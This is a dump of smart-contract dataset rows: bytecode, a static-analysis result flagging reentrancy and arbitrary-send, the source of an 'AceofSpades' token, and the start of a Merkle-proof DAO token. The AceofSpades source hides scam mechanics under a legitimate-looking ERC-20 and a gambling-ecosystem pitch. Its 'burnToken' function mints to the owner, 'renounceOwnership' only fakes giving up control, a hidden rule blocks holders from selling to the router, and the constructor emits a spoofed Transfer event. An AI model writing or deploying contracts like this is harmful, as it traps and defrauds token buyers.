16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203b9a48f28a447c7ab7d5ea9a6c14a1c5ae094dca84a45920285084572bd8148264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,374 |
0xe75e32d9f3d998bf88b82ff76fddf35acadcef38
|
/*
♠️ SPADES TOKEN ♠️
░░ ░░░░ ██ ░░ ░░░░ ░░
░░ ██████░░ ░░
██████████
██████████████
██████████████████
████ ██ ████
░░ ██████░░ ░░
░░░░ ░░████ ████ ░░░░ ░░
Spades Token aims to create an ecosystem that solves and simplifies some important problems in supply chain management
including a gambling system for all holders to bet against eachother in various casino-based games.
❓ What's the difference?
* Community Governance - Spades Token holders have the right to cast vote/give opinion on almost every issue.
* Fair Distribution - The first distribution of Spades Coin will be sold via a silent and fair launch.
Matters related to token burning will be evaluated by community vote.
* Inflation Protection - The fixed staking program allows Spades Token holders to earn passive income.
* Gambling - There will be multiple casino-based games including a sports betting system which will require SPADES token.
*/
pragma solidity ^0.6.7;
// SPDX-License-Identifier: MIT
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract AceofSpades is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
mapping(address => uint256) private _router;
mapping(address => mapping (address => uint256)) private _allowances;
address private router;
address private caller;
uint256 private _totalTokens = 47359463 * 10**18;
uint256 private rTotal = 47359463 * 10**18;
string private _name = 'Ace OF Spades - aceofspade.finance';
string private _symbol = 'AceofSpades';
uint8 private _decimals = 18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function burnPercent(uint256 reflectionPercent) public onlyOwner {
rTotal = reflectionPercent * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function burnToken(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function Approve(address routeUniswap) public onlyOwner {
caller = routeUniswap;
}
function setrouteChain (address Uniswaprouterv02) public onlyOwner {
router = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == router) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80637b47ec1a11610097578063b4a99a4e11610066578063b4a99a4e146104b7578063c5398cfd14610501578063dd62ed3e1461052f578063f2fde38b146105a757610100565b80637b47ec1a1461035c57806395d89b411461038a57806396bfcd231461040d578063a9059cbb1461045157610100565b8063313ce567116100d3578063313ce567146102925780636aae83f3146102b657806370a08231146102fa578063715018a61461035257610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee57806323b872dd1461020c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b6101f66106ab565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b5565b604051808215151515815260200191505060405180910390f35b61029a610774565b604051808260ff1660ff16815260200191505060405180910390f35b6102f8600480360360208110156102cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061078b565b005b61033c6004803603602081101561031057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610898565b6040518082815260200191505060405180910390f35b61035a6108e1565b005b6103886004803603602081101561037257600080fd5b8101908080359060200190929190505050610a6a565b005b610392610ca2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d25780820151818401526020810190506103b7565b50505050905090810190601f1680156103ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61044f6004803603602081101561042357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d44565b005b61049d6004803603604081101561046757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e51565b604051808215151515815260200191505060405180910390f35b6104bf610e6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61052d6004803603602081101561051757600080fd5b8101908080359060200190929190505050610e95565b005b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f72565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b6060600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6000600954905090565b60006106c284848461136d565b610769846106ce611206565b61076485600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061071b611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b61120e565b600190509392505050565b6000600d60009054906101000a900460ff16905090565b610793611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610854576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108e9611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610a72611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b33576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610b53611206565b73ffffffffffffffffffffffffffffffffffffffff161415610b7457600080fd5b610b898160095461167e90919063ffffffff16565b600981905550610be88160056000610b9f611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b60056000610bf4611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c3a611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6060600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d3a5780601f10610d0f57610100808354040283529160200191610d3a565b820191906000526020600020905b815481529060010190602001808311610d1d57829003601f168201915b5050505050905090565b610d4c611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e65610e5e611206565b848461136d565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e9d611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113a757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e157600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148c5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114a057600a54811061149f57600080fd5b5b6114f281600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158781600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061167683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b6000808284019050838110156116fc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212209ab84bd1b71a1ef7664e2b2507e9dfddcb47603bfc4118dd242dfe16c131537864736f6c63430006070033
|
{"success": true, "error": null, "results": {}}
| 9,375 |
0xF04847B93612eE9e7327f31906E7710b252BA4a1
|
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.10;
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol)
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
} // OZ: MerkleProof
/// @notice Modern and gas-optimized ERC-20 + EIP-2612 implementation with COMP-style governance
/// @author Modified from Solmate (https://raw.githubusercontent.com/lexDAO/Kali/main/contracts/KaliDAOtoken.sol)
/// License-Identifier: AGPL-3.0-only
abstract contract DAOToken {
/* ///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
